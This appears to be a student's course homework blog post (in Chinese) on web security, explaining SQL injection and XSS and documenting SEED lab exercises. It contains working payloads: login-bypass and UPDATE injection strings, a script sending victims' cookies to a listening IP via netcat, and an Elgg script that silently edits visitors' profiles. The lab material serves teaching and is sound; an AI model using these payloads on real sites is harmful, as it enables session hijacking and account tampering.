• 20199133 2019-2020-2 《网络攻防实践》第十一周作业


    这个作业属于哪个课程 《网络攻防实践》
    这个作业的要求在哪里 网络攻防第十一周作业
    我在这个课程的目标是 学习Web应用程序架构和攻防技术原理
    这个作业在哪个具体方面帮助我实现目标 学习SQL注入和XSS跨站脚本攻击,并完成相应的实践
    作业正文 见作业
    其他参考文献 见文末

    一.实践内容

    (一)Web应用程序体系结构和安全威胁

    1.Web体系结构是一种实验浏览器在互联网或企业内部网上进行访问操作的应用软件形态,体系结构如图所示,浏览器作为“瘦”客户端主要完成数据显示与展示内容的渲染功能;“胖”服务器负责完成主要业务计算。

    • 浏览器:如IE、Firefox、Chrome等,都使用HTTP/HTTPS协议。
    • Web服务器:通常被描述为HTTP的守护程序,接受Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传输给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行、渲染和展示。
    • Web应用程序:现代Web应用的核心是Web应用程序,随着web应用技术的发展,web应用程序的功能越加复杂化,通常由三层组成,表示层、业务逻辑层和数据层。
    • 数据库:有时也被称为后台,是Web应用存储数据的地方,流行的数据库管理软件包括微软的MS SQL Sever、Oracle和开源的MySQL等,这些数据库支持统一的数据库查询语言SQL。
    • 传输协议HTTP/HTTPS:超文本传输协议默认使用TCP80端口,HTTP是相对简单、无状态的、基于ASCII码的协议,其定义在IETF的标准文档RFC2616和RFC1945中,使用统一的资源标识符URI,对范围从静态文本页面到动态文本视频流的各种资源进行统一定义,然后采用一种简单的请求/响应模式,来请求一项资源,如果资源存在且可用,服务器就向Web客户端响应这项资源。

    2.Web应用安全威胁

    • 针对浏览器和终端用户的web浏览器安全威胁。
    • 针对传输网络的网络协议安全威胁。
    • 系统层安全威胁。
    • Web服务器软件安全威胁。
    • Web应用程序安全威胁。
    • 数据安全威胁。

    (二)Web应用攻防技术概述

    1.信息的收集:收集的情报包括服务器域名、IP地址和虚拟IP地址、web服务器端口和其他开放的服务等。查询方法如第三章的whois查询和DNS查询。

    • 手工审查程序结构和源代码:包含的不同类型信息有,

      • 静态和动态生成的页面,Web站点上的静态HTML页面可能包含一些有价值的信息。
      • 目录结构,攻击者可能会对服务器上可能存在的管理员目录、旧版本目录、备份目录、数据目录等进行探查。
      • 辅助性文件,如CSS级联样式表、xml样式表、JavaScript文件、include文件等。
      • 输入表单,是web应用程序接受用户输入的主要途径。
      • 查询字符串,可以被复用以假冒其他用户、获取受限的数据、运行任意的系统命令。
    • 自动下载与镜像Web站点页面:一些自动下载的工具能提高审查的效率,Linux系统上可使用lynx、wget等工具,Windows系统山可使用TelePort Pro、Offline Explorer等软件。

    • 使用Google Hacking技术审查与探测Web应用程序,在web站点中的配置、计算机代码及包含的数据中,寻找安全漏洞与敏感信息的黑客技术。

    • Web应用程序安全评估与漏洞检测,在获得一些关键信息后,渗透测试人员还会对目标应用程序的各个功能做一次深入研究和评估,一般使用一些辅助工具

    2.攻击Web服务器软件:存在下述五类安全漏洞。

    • 数据驱动的远程代码执行漏洞:Web也面临着缓冲区溢出、不安全指针、格式化字符串等一系列安全漏洞远程攻击。
    • 服务器功能扩展模块漏洞:增加的其他功能包括web分布式写作与版本管理协议等,编写的质量要差一些,所以存在安全漏洞。
    • 样本文件安全漏洞:web服务器软件厂商经常在软件包中包含样本文件和代码示例来演示自己平台的新奇用法,这些代码也容易受到攻击。
    • 源代码泄露:特定情况下,攻击者可利用这些漏洞查看系统级的文件。
    • 资源解析攻击:在处理资源请求时需要将同一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析,可能会在解析过程中遗漏一些输入合法性与合理性验证的处理,从而导致攻击。

    3.攻击web应用程序安全最薄弱的环节在web应用程序上,2004年将web应用程序安全威胁分为如下6类。

    • 针对认证机制的攻击:用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善的弱点等。
    • 授权机制攻击:用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
    • 客户端攻击:扰乱或者渗透攻击web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等。
    • 命令执行攻击:在web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入等。
    • 信息暴露:获取web站点具体系统信息的攻击手段,包括功能滥用、拒绝服务攻击等。
    • 逻辑攻击:扰乱或者渗透攻击web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击等。
    • 2010年归类的15种安全弱点如下图所示:

    4.攻击web数据内容:web站点还面临着针对敏感数据内容的威胁攻击,具体包括如下三个方面。

    • 安全敏感数据泄露:由于不安全配置、使用者疏忽或缺乏安全意识,一些web站点上包含的安全敏感内容可能会被攻击者窃取,方法通常有手工审查、镜像站点内容和使用Google Hacking等。
    • 网站篡改:在利用特定攻击手段入侵网站后,将网站的页面内容进行替换,从而宣示入侵成功或表达某种诉求。
    • 不良信息内容上传:接受用户上传内容的网站如果缺乏有效的管理和安全审查,那么很容易被添加不良甚至违法信息。

    5.防范措施

    • web站点网络传输安全设防措施:
      • 对加密过程进行保护;
      • 通过加密的连接通道来管理web站点,避免使用未经加密的传输协议;
      • 对关键的web服务器设置静态绑定的MAC-IP映射。
    • web站点操作系统及服务安全设防:
      • 谨慎考虑是否采用动态页面技术;
      • 尽量使用良好安全声誉及稳定技术支持力量的web应用软件包。
      • 开发过程中重视安全编程、持续性的安全测试与维护;
      • 使用web服务器软件提供的日志功能。
    • web站点数据安全设防措施:
      • 提高网站内容维护人员的数据安全意识。
      • 对维护网站的数据安全实施蠕虫监测与防护。

    (三)SQL注入

    1.SQL注入原理

    • SQL注入是利用web应用程序数据层存在的输入验证不完善机制实施的代码注入攻击技术。是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符,如'"反引号;%#__--等,或者没有进行严格的判断,如未判断输入参数是否为合法整数型参数等。
    • 原理是向web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令。
    • SQL注入攻击步骤:
      • 1.发现SQL注入点;
      • 2.判断后台数据库类型;
      • 3.后台数据库中管理员用户口令字猜解
      • 4.上传ASP后门,得到默认账户权限;
      • 5.本地特权提升;
      • 6.利用数据库扩展存储过程执行Shell命令。

    2.SQL注入工具:有如下一些自动化注入工具可提升攻击效率。

    • Wposion:能在动态的web文档中找出SQL注入漏洞;
    • wieliekoek.pl能以网站进行工具生成的输出为输入,找出含有单表页面;
    • SPIKE Proxy工具允许对待字符串进行定制,并自动化执行SQL注入;
    • 国内也有许多软件,如CSC、NBSI、HDSI、WED等。

    3.攻击实例

    • 某高校科研管理机构的经费来源查询系统,是一个非常简单的ASP动态页面程序,在检索表中需用户输入一个对来款单位进行查询的关键字,便只会返回包含给定关键字的来款记录。猜想使用的SQL语句应该是类似于“SELECT*FROM some_tbl where some_rec like '%INPUT%'”。然而这个程序没有对输入做任何安全验证和过滤,因此当要查询其他科员人员的经费情况时就会在输入框内填写a%'or'a'like'%a,点击检索后就可得到全部信息记录,这是因为程序在注入的输入后,使用的SQL语句就会变为SELECT*FROM some_tbl where some_rec like '%a%'or'a' like '%a',而'a' like '%a'是一个永真式,使得WHERE子句永真。

    4.防范措施主要包括如下几个方面

    • 使用类型安全的参数编码机制;
    • 凡是来自外部的用户输入,必须进行完备检查;
    • 将动态的SQL语句替换为存储过程、预编译SQL或ADO命令对象;
    • 加强SQL数据库服务器的配置与连接。

    (四)XSS跨站脚本攻击

    1.攻击技术原理

    • XSS攻击的最终目标并不是web服务器,而访问这些web服务器的用户。攻击者可以利用web应用程序中的安全漏洞在服务器端网页中插入一些恶意发客户端脚本代码,当其他用户访问网页时,浏览器就会下载并执行这些网页中的恶意脚本,从而遭受到攻击。

    2.攻击类型

    • 安全界普遍将其分为两种类型,即持久性XSS漏洞和非持久性XSS漏洞,另外又发现了一种基于DOM的xss攻击技术。
    • 持久性XSS漏洞是危害最严重的xss漏洞,通常出现于一些可以将用户输入持久性地保存在web服务器端,并在一些“正常”的页面中持续性地显示,从而能够影响所有访问这些页面的用户。还可被设计为xss蠕虫。
    • 非持久性的xss漏洞是最普遍的类型,当web浏览器在HTTP请求参数和HTML提交表单中的数据,被立即由服务器端脚本使用产生一个提供给该用户的界面,可能导致跨站脚本攻击。一个攻击的示意图如下所示:

    3.攻击实例

    • SEED实验环境中phpBB论坛有xss漏洞,存在于posting.php文件中,该文件的源代码中在接受用户发表帖子的输入时,仅通过post数据参数中的sid进行认证,容易受到Cookie欺骗假冒攻击。而对输入的message字段没有进行任何安全检查和过滤,便直接插入数据表中,而在viewtopic.php源代码显示帖子内容时,直接将数据表中的内容进行读取显示。通过如下步骤来测试和利用漏洞。
      • 测试XSS漏洞,在seed环境中phpBB论坛上发布含有脚本<script>alert('XSS');</script>的帖子,就会弹出内容为“XSS”的对话框。
      • 显示用户的会话Cookie,将发布的帖子转换为<script>alert(document.cookie);</script>
      • 窃取用户会话Cookie,首先攻击者家属一个服务器,服务器可将收到的HTTP请求显示在屏幕中,发布一个包含如下脚本的帖子,当其他用户访问该帖子页面时,植入的脚本会在浏览器中自动执行。
      • 假冒其他用户修改帖子,通过使用Firefox扩展组件来实现。
      • 编写实现xss蠕虫,只要将含有蠕虫的代码发布在论坛上,当受害主机访问此页面时,蠕虫将自动抽取主机Cookie。

    4.防范措施

    • 服务器端防范:首要防范措施是对所有来自外部的用户输入进行完备检查,再通过下面三种方法来防范。
      • 输入验证:如web程序在某个位置收到的用户提交的数据可能会被复制到响应界面中,web应用程序应进行严格的过滤和验证。
      • 输出净化:对要复制的数据进行HTML编码,以净化可能的恶意字符。
      • 消除危险的输入点:web应用程序界面有一些位置,插入用户提交的输入就会造成极大的风险。
    • 客户端:需要提升浏览器的安全设置,如提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置其为只读模式。

    二.实践过程

    实践一:SEED SQL注入实验

    实践环境和任务

    • 按照参考书来配置,但是seed里面很多文件都显示没有啊,所以在配置环境这里就很懵。。。。参考解建国同学的博客换了一个参考书来做,然后在MOOC也里学了相关的视频。使用的web网站是http://www.SEEDLabSQLInjection.com 及其本地文件夹路径/var/www/SQLInjection/。

    • 我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。 员工是一般角色,可以查看或更新自己的个人资料信息。 完成以下任务。

       (1)熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。 该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。 在此任务中,您需要使用数据库来熟悉SQL查询。
      (1)对SELECT语句的攻击;你能在不知道其他人的密码下登陆他的账号吗?你能找到修改数据库的方法吗(依旧使用上面的 SQL 语句)?比如新建一个 database,或者删除一个用户的账号。
      (2)对UPDATE语句的攻击;在不知道其他人密码的情况下修改其资料。例如:你以 Alice 登陆,你的目标就是修改Ted 的资料信息,包括他的密码。攻击成功后你将可以登陆 Ted 的账号。
      

    (1)熟悉SQL语句

    • 首先在SEED里登录mysql,密码为seedubuntu
    • 打开数据库并查看数据表。
    • 使用select * from credential;来查看所有员工的信息,包括生日,薪水等。

    (2)对SELECT语句攻击

    • mysql中的#--符号后的内容都表示注释,我们要对SELECT语句进行注入攻击,首先要找到该语句对应输入用户名的地方,然后输入注入的指令,我们就可以不需要密码登录系统。有多种更改的方法,可以参考MOOC的课程。

    • 在 /var/www/SQLInjection中有PHP的登录验证时的源代码,文档中直接给出了。

    • 可以发现登录的用户名为“Admin”,我们找到SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';这一句,将$input_uname改为Admin' #,原理就是用户名校验后的语句都被注释了,那么即使是错误的密码也可以登录系统。下面检验一下,显示成功。

    • 下面要修改数据库的内容,修改原理如图所示,我们输入指令update credential set Name = 'xiaoming', EID = '12345' where ID= 1;,表示将ID为1的地方把Name换为xiaoming,EID改为12345,然后使用select * from credential查看一下发现修改成功。更换相应的参数变量便可修改其他的值。

    (3)对UPDATE语句攻击

    • 由于上文中我们已经修改了Alice的内容,下面我们对Boby的信息进行修改,从Profile Edit页面输入信息去改,利用它的UPDATE的验证漏洞。首先找到update的语句,在 unsafe edit backend.php文件中,路径为 /var/www/SQLInjection,也可从文档中直接用。
    • 在登陆界面中输入', salary='12345' where Name='Boby';#,更改Boby的薪水为12345,

    • 下面修改Boby的密码,首先先要将我们修改的密码值用sha1进行加密,在终端输入echo -n 'boby123'|sha1sum
    • 在刚更改的界面那里,输入', Password='1be367991d90b5fb03a43a21aaf74733058b6bc3' where Name='Boby';#完成对Boby密码的更改,然后登陆验证一下,能成功登陆。

    实践二:SEED XSS攻击实验

    实验环境和任务

    • Web应用程序网站http://www.xsslabelgg.com,以及相关的文件夹/var/www/XSS/Elgg/。
    • 完成下述实验任务:

    (1)测试漏洞

    • 首先登陆Alice账号,账号密码在文档中,找到Alice的brief description,在里面输入:<script>alert(’XSS’);</script>,然后保存。对于给的Javascript代码,不是很懂是干嘛的,该放到哪里。。。。


    (2)消息框中显示cookie值:这一步与上一个的做法类似,只需要将里面的参数值xss改为输出cookie值,输入<script>alert(document.cookie);</script>

    (3)获得受害主机的cookie值

    • 首先在个人简介中输入<script>document.write('<img src=http://192.168.200.4:5555?c='+escape(document.cookie) + ' >');</script>,其中192.168.200.4是接收信息的IP地址,5555是端口号。
    • 然后在终端中输入nc -l 5555 -v对5555端口进行监测。-l指定端口,-v显示详细信息。

    (4)与受害者成为朋友

    • 在XSS攻击之前,我们首先要知道:在正常的情况下,添加好友应该发送什么样的指令。在添加朋友之前,先使用HTTP Header Live查看发送的数据,会得到http://www.xsslabelgg.com/action/friends/add?friend=xx + ts=xx + token=xx;。然后再到Boby的界面,点击Add friend。

    • 参考文档里的,但是我的虚拟机浏览器里没有HTTP Header Live,这里的意思应该是要从这里捕获到添加好友的信息,然后方便后面编写代码。后面还有些分析什么的看不太明白。

    • 下面参考孙启龙同学的代码,将这一段复制到boby的自我简介里,再通过alice来访问boby主页,就会添加好友。

    (5)修改别人的信息

    • 将如下这段代码放到Alice的about me(自我介绍)中,当boby来访问Alice的界面时,Boby的信息便会被更改。由此实现了xss跨站脚本攻击。
    	window.onload = function(){
      //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
      //and Security Token __elgg_token
    	var userName=elgg.session.user.name;
    	var guid="&guid="+elgg.session.user.guid;
    	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    	var token="&__elgg_token="+elgg.security.token.__elgg_token;
      
      var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  
    
      var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    	  
    	var samyGuid=44;    
    	if(elgg.session.user.guid!=samyGuid){
       	//Create and send Ajax request to modify profile
       	var Ajax=null;
       	Ajax=new XMLHttpRequest();
       	Ajax.open("POST",sendurl,true);
    		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
      }
    }
          </script>
    

    三.学习中遇到的问题及解决

    • 问题1:实践二中的Javascript代码不是很懂。
    • 问题2:实践二中发布帖子没有消息框弹出,如果可以xss注入攻击的话,应该是能弹出来的。
    • 问题2解决方案:参考同学的博客,更改个人简介可以弹出。
    • 问题3:浏览器没找到HTTP Header Live。

    四.实践总结

    • 本次学习,理论部分还是比较好理解的,对两种注入攻击方法的原理学习的比较明白些。
    • 实践一在学习之后能自主完成,感谢解建国同学分享的文档。实践二前面还好,也能学到东西,但是自第四个任务起就看不明白了,感觉对我的跨度太大。

    参考资料

  • 相关阅读:
    iMac中的GoLand中报错: Unresolved reference 错误解决方法
    设置初次ssh登录linux的时候无需yes确认登陆
    docker命令常用总结
    阿里巴巴-菜鸟网络高级java开发工程师/技术专家招聘
    mysql8.0.22 设置sql_mode后不能启动解决
    《事实》读后感
    VPS是什么?
    做了一个小程序,欢迎关注
    [Linux] Tomcat java.lang.OutOfMemoryError: Java heap space
    [Linux] Nginx 反向代理配置 http headers 带下划线fields转发
  • 原文地址:https://www.cnblogs.com/dkyzsm/p/12860356.html
Copyright © 2020-2023  润新知